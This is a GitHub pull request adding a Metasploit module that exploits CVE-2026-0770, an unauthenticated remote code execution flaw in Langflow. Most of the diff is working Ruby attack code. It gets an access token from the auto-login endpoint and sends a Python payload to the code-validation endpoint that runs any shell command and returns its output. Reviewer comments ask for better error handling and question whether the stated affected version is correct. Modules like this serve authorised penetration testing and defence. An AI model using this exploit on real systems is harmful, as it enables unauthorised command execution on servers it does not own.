-
Notifications
You must be signed in to change notification settings - Fork 15k
Langflow CVE-2026-0770 exploit module #21750
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
bhaskarbhar
wants to merge
2
commits into
rapid7:master
Choose a base branch
from
bhaskarbhar:cve_2026_0770
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+204
−0
Open
Changes from 1 commit
Commits
Show all changes
2 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Some comments aren't visible on the classic Files Changed page.
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,134 @@ | ||
| # frozen_string_literal: true | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Remote | ||
| Rank = NormalRanking | ||
|
|
||
| include Msf::Exploit::Remote::HttpClient | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Langflow Unauthenticated RCE (validate endpoint)', | ||
| 'Description' => %q{ | ||
| Langflow before 1.3.0 contains an unauthenticated remote code execution | ||
| vulnerability in the `validate` endpoint where unsanitized values in | ||
| `exec_globals`/`code` allow an attacker to execute arbitrary code. | ||
|
Comment on lines
+12
to
+16
|
||
| This module abuses the `/api/v1/auto_login` (or `/api/v1/login`) and | ||
| `/api/v1/validate/code` endpoints to execute commands and return the | ||
| output inside the validation error message. | ||
| }, | ||
| 'Author' => ['Diamorphine', 'bhaskarbhar'], | ||
| 'License' => MSF_LICENSE, | ||
| 'References' => [ | ||
| [ 'CVE', '2026-0770' ], | ||
| [ 'EDB', '52597' ] | ||
| ], | ||
| 'DisclosureDate' => '2026-05-23', | ||
| 'Platform' => [ 'unix', 'linux' ], | ||
| 'Privileged' => true, | ||
| 'Targets' => [ [ 'Automatic', {} ] ], | ||
| 'DefaultTarget' => 0, | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [IOC_IN_LOGS] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options([ | ||
| Opt::RPORT(7860), | ||
| OptString.new('USERNAME', [ false, 'Username for login (if auto-login disabled)' ]), | ||
| OptString.new('PASSWORD', [ false, 'Password for login (if auto-login disabled)' ]), | ||
| OptString.new('CMD', [ true, 'Command to execute', 'id' ]) | ||
| ]) | ||
| end | ||
|
|
||
| def check | ||
| res = send_request_cgi('method' => 'GET', 'uri' => '/') | ||
| if res && res.body.to_s =~ /Langflow/i | ||
| Exploit::CheckCode::Appears('The target is running Langflow') | ||
| else | ||
| Exploit::CheckCode::Unknown('The target did not present a Langflow banner') | ||
| end | ||
|
bwatters-r7 marked this conversation as resolved.
|
||
| end | ||
|
|
||
| def exploit | ||
| cmd = datastore['CMD'] || 'id' | ||
|
|
||
| token = obtain_token | ||
| fail_with(Failure::Unknown, 'Failed to obtain an access token') if token.nil? | ||
|
|
||
| payload = <<~PY | ||
| def exploit( | ||
| _=( lambda r: (_ for _ in ()).throw(Exception(f"{r.stdout}{r.stderr}")) )( | ||
| __import__('subprocess').run('#{cmd}', shell=True, capture_output=True, text=True) | ||
|
|
||
| ) | ||
| ): | ||
| pass | ||
| PY | ||
|
|
||
| body = { 'code' => payload } | ||
|
|
||
| res = send_request_cgi( | ||
| 'method' => 'POST', | ||
| 'uri' => '/api/v1/validate/code', | ||
| 'ctype' => 'application/json', | ||
| 'data' => body.to_json, | ||
|
Comment on lines
+76
to
+80
|
||
| 'headers' => { 'Authorization' => "Bearer #{token}" } | ||
| ) | ||
|
|
||
| if res && res.code == 200 | ||
| begin | ||
| json = res.get_json_document | ||
| if json && json['function'] && json['function']['errors'] && json['function']['errors'].any? | ||
| err = json['function']['errors'][0] | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. May want to make sure all those nested keys exist or wrap this in a begin/rescue block to gracefully exit if they are not? |
||
| print_good("Command output: #{err}") | ||
| else | ||
| print_error('No error output found — target may not be vulnerable or the response format changed') | ||
| end | ||
| rescue ::JSON::ParserError | ||
| print_error('Received non-JSON response from target') | ||
| end | ||
| else | ||
| fail_with(Failure::UnexpectedReply, 'No valid response from /api/v1/validate/code') | ||
| end | ||
| end | ||
|
|
||
| def obtain_token | ||
| # Try username/password login first if provided | ||
| if datastore['USERNAME'] && datastore['PASSWORD'] | ||
| login_res = send_request_cgi( | ||
| 'method' => 'POST', | ||
| 'uri' => '/api/v1/login', | ||
| 'vars_post' => { | ||
| 'username' => datastore['USERNAME'], | ||
| 'password' => datastore['PASSWORD'] | ||
| } | ||
| ) | ||
|
|
||
| if login_res && login_res.code == 200 | ||
| begin | ||
| json = login_res.get_json_document | ||
| return json['access_token'] if json && json['access_token'] | ||
| rescue ::JSON::ParserError | ||
| # fallthrough to try auto_login | ||
| end | ||
| end | ||
| end | ||
|
|
||
| # Try auto_login (unauthenticated) endpoint | ||
| auto_res = send_request_cgi('method' => 'GET', 'uri' => '/api/v1/auto_login') | ||
| if auto_res && auto_res.code == 200 | ||
| begin | ||
| json = auto_res.get_json_document | ||
| return json['access_token'] if json && json['access_token'] | ||
| rescue ::JSON::ParserError | ||
| return nil | ||
| end | ||
| end | ||
|
|
||
| nil | ||
| end | ||
| end | ||
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Are we sure that this is the right version? I think that this CVE is 1.10.0. Maybe copy/paste error?